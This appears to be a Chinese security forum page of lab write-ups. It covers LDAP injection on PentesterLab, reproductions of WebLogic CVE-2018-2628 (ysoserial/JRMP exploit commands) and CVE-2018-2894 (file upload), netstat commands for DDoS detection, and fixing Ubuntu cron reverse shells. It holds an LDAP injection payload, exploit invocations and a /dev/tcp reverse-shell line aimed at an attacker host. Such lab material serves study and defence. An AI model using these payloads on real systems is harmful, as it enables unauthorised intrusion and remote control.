(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
 

LDAP 注入(Injection)入门学习

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 225 次浏览 • 2018-08-22 18:05 • 来自相关话题

今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念




dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:






四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
响应报文:





 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:






GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder






step2:增加变量,具体见截图






step3,增加变量字典






step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:







五 、修复建议
[]客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/] 查看全部
今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:
LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御
一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念

ldap.png
dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数
1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:

QQ截图20180816110003.png


四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:
GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

响应报文:

QQ截图20180823094728.png

 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:

QQ截图20180816112138.png


GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder

QQ图片20180816112846.png


step2:增加变量,具体见截图

增加变量.png


step3,增加变量字典

QQ截图20180816113238.png


step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:

QQ截图20180816113413.png



五 、修复建议
    []客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/]

weblogic漏洞系列- WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

渗透测试zksmile 发表了文章 • 1 个评论 • 270 次浏览 • 2018-08-22 17:33 • 来自相关话题

此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。
 
漏洞编号:CVE-2018-2628 
影响范围:Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0
 
漏洞原理:
http://blog.topsec.com.cn/ad_lab/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/169420.html
https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
 
漏洞复现:
1、首先需要下载一个国外大佬写的一款工具ysoserial(http://www.vuln.cn/6295,这里有针对这款工具的分析)。wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 
2、使用ysoserial启动一个JRMP Serverjava -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 【listen port】是JRMP Server 监听的端口
【Command】是想要执行命令






3、使用exp向目标发送数据包。(脚本链接:https://www.exploit-db.com/exploits/44553/)zksmile@xxx:~$ python CVE-2018-2628.py

Usage:
exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip] :目标IP
[victim port] : 目标端口
[path to ysoserial] : ysoserial的路径
[JRMPListener ip] : 步骤2中 攻击机器的IP
[JRMPListener port]: 步骤2中监听的端口
[JRMPClient] :使用的是JRMPClient类
zksmile@xxx:~$ python CVE-2018-2628.py 172.18.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.18.0.1 1099 JRMPClient




4、进入docker 容器中,文件已经创建成功。zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9989f9948b12 vulhub/weblogic "startWebLogic.sh" 7 hours ago Up 7 hours 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2018-2628_weblogic_1
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker exec -ti 9989f9948b12 /bin/bash
root@9989f9948b12:~/Oracle/Middleware# ls /tmp/
bea1061393648233859820.tmp hsperfdata_root wlstTemproot
cookie.txt packages zksmile.txt
root@9989f9948b12:~/Oracle/Middleware#
5、文中用到脚本工具在下边压缩包中。 查看全部
此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。
 
漏洞编号:
CVE-2018-2628
 
影响范围:
Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

 
漏洞原理:
http://blog.topsec.com.cn/ad_lab/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/169420.html
https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
 
漏洞复现:
1、首先需要下载一个国外大佬写的一款工具ysoserial(http://www.vuln.cn/6295,这里有针对这款工具的分析)。
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
 
2、使用ysoserial启动一个JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
 
【listen port】是JRMP Server 监听的端口
【Command】是想要执行命令


1.png

3、使用exp向目标发送数据包。(脚本链接:https://www.exploit-db.com/exploits/44553/
zksmile@xxx:~$ python CVE-2018-2628.py

Usage:
exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip] :目标IP
[victim port] : 目标端口
[path to ysoserial] : ysoserial的路径
[JRMPListener ip] : 步骤2中 攻击机器的IP
[JRMPListener port]: 步骤2中监听的端口
[JRMPClient] :使用的是JRMPClient类

zksmile@xxx:~$ python CVE-2018-2628.py 172.18.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.18.0.1 1099 JRMPClient

2.png

4、进入docker 容器中,文件已经创建成功。
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9989f9948b12 vulhub/weblogic "startWebLogic.sh" 7 hours ago Up 7 hours 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2018-2628_weblogic_1
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker exec -ti 9989f9948b12 /bin/bash
root@9989f9948b12:~/Oracle/Middleware# ls /tmp/
bea1061393648233859820.tmp hsperfdata_root wlstTemproot
cookie.txt packages zksmile.txt
root@9989f9948b12:~/Oracle/Middleware#

5、文中用到脚本工具在下边压缩包中。

从TCP状态机判断DDOS攻击

网络安全ttgo2 发表了文章 • 0 个评论 • 363 次浏览 • 2018-08-22 17:01 • 来自相关话题

最近解决同学们提出的问题,大部分都是工作遇到的问题,比如说通过查看系统的网络连接转态来看分析是否有网络攻击DDOS,或者说有人在扫描我们的服务器,其中很大部分对TCP协议的状态机不是很清楚,所以使用Netstat 调试出来的结果看不懂,无法分析,今天我们就简单介绍一下TCP协议的状态机制:
 
#一、TCP协议
TCP 协议是传送层的核心协议,提供了可靠面向连接的协议,分为三次握手和四次断开,在这个过程中TCP有个状态机,记录不同阶段的状态。
二、 握手和断开
这里不着重介绍三次握手和四次断开,只是附加一个图解,这部分详细内容大家自行脑补:参考链接:https://blog.csdn.net/qzcsu/article/details/72861891
2.1 握手协议:




2.2 断开过程




三 TCP的状态机
在协议建立和断开过程,tcp协议一直要维护一个状态,我们称为tcp的状态机。具体情况见下图:




3.1 握手过程状态
[]CLOSED: 表示初始状态。[/][]LISTEN: 侦听端口状态[/][]SYN_RCVD: 表示接受到了SYN报文,时间短暂[/][]SYN_SENT: 表示发送一个SYN的报文[/][]ESTABLISHED:表示连接已经建立了,是一个稳定状态。[/]为了方便理解,简单举个例子,某饭店8点之前是未开业,关门状态(closed 状态),八点之后开门营业,等待客人关顾(listen状态),客户进店点菜(SYS_SEND),老板收到并确认(SYS_RCVD), 客户说没错可以上菜,然后双方进入(Established)状态。3.2  断开过程状态[]FIN WAIT 1:本地的 TCP 实体发送一个 FIN 报文段并等待响应的确认[/][]CLOSE WAIT:服务器收到一个 FIN 报文段,它确认客户端的请求发回一个 ACK 报文段[/][]FIN WAIT 2 :客户端收到确认 ACK 报文段,就转移到 FIN WAIT 2 状态[/][]CLOSED:服务器收到最后一个确认 ACK 报文段,其 TCP 实体便释放该连接,并删除连接记录[/]
为了方便理解:可以简单理解为:客人吃饭要离开,喊老板结账(fin wait1), 老板说你等一下我找你钱(closeing),客户收到检查是否正确(fin wait2),确认无误然后彼此断开(closed)
四, 半打开和半关闭
DDOS网络攻击的方式很多,有应用层ddos也有网络层的,本文只讨论网络层形成的ddos攻击类型,上文我们讲述状态机,就非常好理解了,大量的半打开的链接,占用了大量的网络带宽,从而达到了DOS的目的。
4.1 半打开
发生在TCP3次握手中。
如果A向B发起TCP请求,B也按照正常情况进行响应了,但是A不进行第3次握手,这就是半连接
4.2半关闭
当一方关闭发送通道后,仍可接受另一方发送过来的数据,这样的情况叫“半关闭”。(拆除TCP连接是:你关闭你的发送通道,我关闭我的发送通道)。
五、Netstat DOS检测
netstat -na
显示所有连接到服务器的活跃的网络连接
netstat -an | grep :80 | sort
只显示连接到80段口的活跃的网络连接,80是http端口,这对于web服务器非常有用,并且对结果排序.对于你从许多的连接中找出单个发动洪水攻击IP非常有用
netstat -n -p|grep SYN_REC | wc -l
这个命令对于在服务器上找出活跃的SYNC_REC非常有用,数量应该很低,最好少于5.
在dos攻击和邮件炸弹,这个数字可能非常高.然而值通常依赖于系统,所以高的值可能平分给另外的服务器.
netstat -n -p | grep SYN_REC | sort -u
列出所有包含的IP地址而不仅仅是计数.
netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
列出所有不同的IP地址节点发送SYN_REC的连接状态
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
使用netstat命令来计算每个IP地址对服务器的连接数量
netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
列出使用tcp和udp连接到服务器的数目
netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
检查ESTABLISHED连接而不是所有连接,这可以每个ip的连接数
netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1
显示并且列出连接到80端口IP地址和连接数.80被用来作为HTTP 查看全部
最近解决同学们提出的问题,大部分都是工作遇到的问题,比如说通过查看系统的网络连接转态来看分析是否有网络攻击DDOS,或者说有人在扫描我们的服务器,其中很大部分对TCP协议的状态机不是很清楚,所以使用Netstat 调试出来的结果看不懂,无法分析,今天我们就简单介绍一下TCP协议的状态机制:
 
#一、TCP协议
TCP 协议是传送层的核心协议,提供了可靠面向连接的协议,分为三次握手和四次断开,在这个过程中TCP有个状态机,记录不同阶段的状态。
二、 握手和断开
这里不着重介绍三次握手和四次断开,只是附加一个图解,这部分详细内容大家自行脑补:参考链接:https://blog.csdn.net/qzcsu/article/details/72861891
2.1 握手协议:
握手.png

2.2 断开过程
20170607205756255.gif

三 TCP的状态机
在协议建立和断开过程,tcp协议一直要维护一个状态,我们称为tcp的状态机。具体情况见下图:
20160703002557770_(1).png

3.1 握手过程状态
    []CLOSED: 表示初始状态。[/][]LISTEN: 侦听端口状态[/][]SYN_RCVD: 表示接受到了SYN报文,时间短暂[/][]SYN_SENT: 表示发送一个SYN的报文[/][]ESTABLISHED:表示连接已经建立了,是一个稳定状态。[/]
为了方便理解,简单举个例子,某饭店8点之前是未开业,关门状态(closed 状态),八点之后开门营业,等待客人关顾(listen状态),客户进店点菜(SYS_SEND),老板收到并确认(SYS_RCVD), 客户说没错可以上菜,然后双方进入(Established)状态。3.2  断开过程状态
    []FIN WAIT 1:本地的 TCP 实体发送一个 FIN 报文段并等待响应的确认[/][]CLOSE WAIT:服务器收到一个 FIN 报文段,它确认客户端的请求发回一个 ACK 报文段[/][]FIN WAIT 2 :客户端收到确认 ACK 报文段,就转移到 FIN WAIT 2 状态[/][]CLOSED:服务器收到最后一个确认 ACK 报文段,其 TCP 实体便释放该连接,并删除连接记录[/]

为了方便理解:可以简单理解为:客人吃饭要离开,喊老板结账(fin wait1), 老板说你等一下我找你钱(closeing),客户收到检查是否正确(fin wait2),确认无误然后彼此断开(closed)
四, 半打开和半关闭
DDOS网络攻击的方式很多,有应用层ddos也有网络层的,本文只讨论网络层形成的ddos攻击类型,上文我们讲述状态机,就非常好理解了,大量的半打开的链接,占用了大量的网络带宽,从而达到了DOS的目的。
4.1 半打开
发生在TCP3次握手中。
如果A向B发起TCP请求,B也按照正常情况进行响应了,但是A不进行第3次握手,这就是半连接
4.2半关闭
当一方关闭发送通道后,仍可接受另一方发送过来的数据,这样的情况叫“半关闭”。(拆除TCP连接是:你关闭你的发送通道,我关闭我的发送通道)。
五、Netstat DOS检测
netstat -na
显示所有连接到服务器的活跃的网络连接
netstat -an | grep :80 | sort
只显示连接到80段口的活跃的网络连接,80是http端口,这对于web服务器非常有用,并且对结果排序.对于你从许多的连接中找出单个发动洪水攻击IP非常有用
netstat -n -p|grep SYN_REC | wc -l
这个命令对于在服务器上找出活跃的SYNC_REC非常有用,数量应该很低,最好少于5.
在dos攻击和邮件炸弹,这个数字可能非常高.然而值通常依赖于系统,所以高的值可能平分给另外的服务器.
netstat -n -p | grep SYN_REC | sort -u
列出所有包含的IP地址而不仅仅是计数.
netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
列出所有不同的IP地址节点发送SYN_REC的连接状态
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
使用netstat命令来计算每个IP地址对服务器的连接数量
netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
列出使用tcp和udp连接到服务器的数目
netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
检查ESTABLISHED连接而不是所有连接,这可以每个ip的连接数
netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1
显示并且列出连接到80端口IP地址和连接数.80被用来作为HTTP

weblogic漏洞系列-任意文件上传漏洞(CVE-2018-2894)

渗透测试zksmile 发表了文章 • 0 个评论 • 265 次浏览 • 2018-08-19 23:03 • 来自相关话题

前言
前一段时间这个漏洞爆出来之后,测试了一些之存在SSRF漏洞的weblogic站点,均未发现漏洞。后来才发现这个漏洞挺鸡肋的。Web Service Test Page 在“生产模式”下默认是不开启的,漏洞虽然是高危,但是影响范围就受到了限制。总之复现一遍记录一下吧。(万一遇到了呢?)
 
漏洞编号
CVE-2018-2894
 
影响范围:
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
 
复现环境:
WebLogic Server 版本: 12.2.1.3.0
 
登录到后台,来修改一下配置文件。点击【base_domain】-【高级】-【启用Web服务测试页】。勾选之后记得点击保存,此时已经生效。 





复现步骤
1、首先访问http://IP/ws_utc/config.do.如下图所示: 





2、设置Work Home Dir 当前工作目录为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css





3、点击左侧【安全】-【添加】-【选择文件】。 





4、点击提交之后,可是使用BurpSuite拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳ID。F12打开调试台。 










5、访问:http://IP//ws_utc/css/config/keystore/[时间戳]_[文件名]即可访问到上传的文件。 




Reference
https://www.seebug.org/vuldb/ssvid-97423
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894 查看全部
前言
前一段时间这个漏洞爆出来之后,测试了一些之存在SSRF漏洞的weblogic站点,均未发现漏洞。后来才发现这个漏洞挺鸡肋的。Web Service Test Page 在“生产模式”下默认是不开启的,漏洞虽然是高危,但是影响范围就受到了限制。总之复现一遍记录一下吧。(万一遇到了呢?)
 
漏洞编号
CVE-2018-2894
 
影响范围:
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
 
复现环境:
WebLogic Server 版本: 12.2.1.3.0
 
登录到后台,来修改一下配置文件。点击【base_domain】-【高级】-【启用Web服务测试页】。勾选之后记得点击保存,此时已经生效。 

1.png

复现步骤
1、首先访问http://IP/ws_utc/config.do.如下图所示: 

2.png

2、设置Work Home Dir 当前工作目录为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 


3.png

3、点击左侧【安全】-【添加】-【选择文件】。 

4.png

4、点击提交之后,可是使用BurpSuite拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳ID。F12打开调试台。 

5.png


6.png

5、访问:http://IP//ws_utc/css/config/keystore/[时间戳]_[文件名]即可访问到上传的文件。 

7.png
Reference
https://www.seebug.org/vuldb/ssvid-97423
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

解决ubuntu任务计划写shell失败的问题

渗透测试lawliet 发表了文章 • 3 个评论 • 261 次浏览 • 2018-08-18 01:16 • 来自相关话题

这个问题的由来是因为自己在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题,结果因为这个问题卡了很久,最终在kakaxi和ttgo2两位大佬的指导和帮助下才解决了该问题,将整个问题的解决过程在这里记录一下~
环境说明
ubuntu16.04桌面版:192.168.0.107,用来任务计划反弹shell的靶机
kali2.0:192.168.0.106,用来接收ubuntu反弹过来的shell具体过程
事情源自于我利用redis未授权访问漏洞在向ubuntu的/var/spool/cron/crontabs目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的kali上
任务计划文件/var/spool/cron/crontabs/root内容如下[i] [/i] [i] [/i] * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1
需要特别注意的一点是这的root文件的权限必须为600,也就是rw-------,否则会出现cron[53948]: (root) INSECURE MODE (mode 0600 expected)的错误,会影响到后面的实验 但是kali却迟迟接收不到反弹过来的shell
之前在centos上利用的时候并没有出现这种情况,使用ubuntu的时候居然不行,下面我们就来一步步的排查看看到底是什么原因导致的
首先,咱们先来看一下系统日志tail -f /var/log/syslog

通过系统日志可以看到CRON[55318]: (CRON) info (No MTA installed, discarding output)这一条,我们之所以反弹shell失败,和这句话有着很大的关系,百度了一番后得到这句话的大概意思就是我们任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误
通过了上面的信息,可以推断出我们任务计划中的命令执行出现了某种错误,然后ubuntu处理这种错误方式是将错误信息发送到本地的邮件服务器,但是邮件服务器不存在,那么我们要想办法将错误信息重定向到文件里面去看看究竟是命令的什么地方产生了错误,修改任务计划文件为[i] [/i] [i] [/i] * '/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1'>/tmp/error.txt 2>&1
1代表标准输出。2代表标准错误输出,也就是命令执行出现的错误,这里将/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1执行的标准错误输出重定向到输出流,也就是/tmp/error.txt这个文件中,而不是邮件服务器,然后再看日志就没有刚刚的错误了
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found下面可以看到tmp目录下新生成了一个记录错误信息的文件error.txt,内容如下

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件ls -al /bin/sh
可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因 那么之前的centos为什么就能成功,下面来看一下centos/bin/sh的指向

可以看到centos中/bin/sh的指向是bash,所以命令执行不会出错
搞清楚了根本的原因后,来说一下解决的办法,这里有两种解决办法,其中一种解决办法是通过修改ubuntu中/bin/sh的指向,将dash改为bash即可,命令如下ln -s -f bash /bin/sh

可以看到此时/bin/sh以及指向了bash,此时将任务计划里的文件修改为之前反弹shell的命令,可以看到不会再报错了,并且shell成功反弹到了kali上


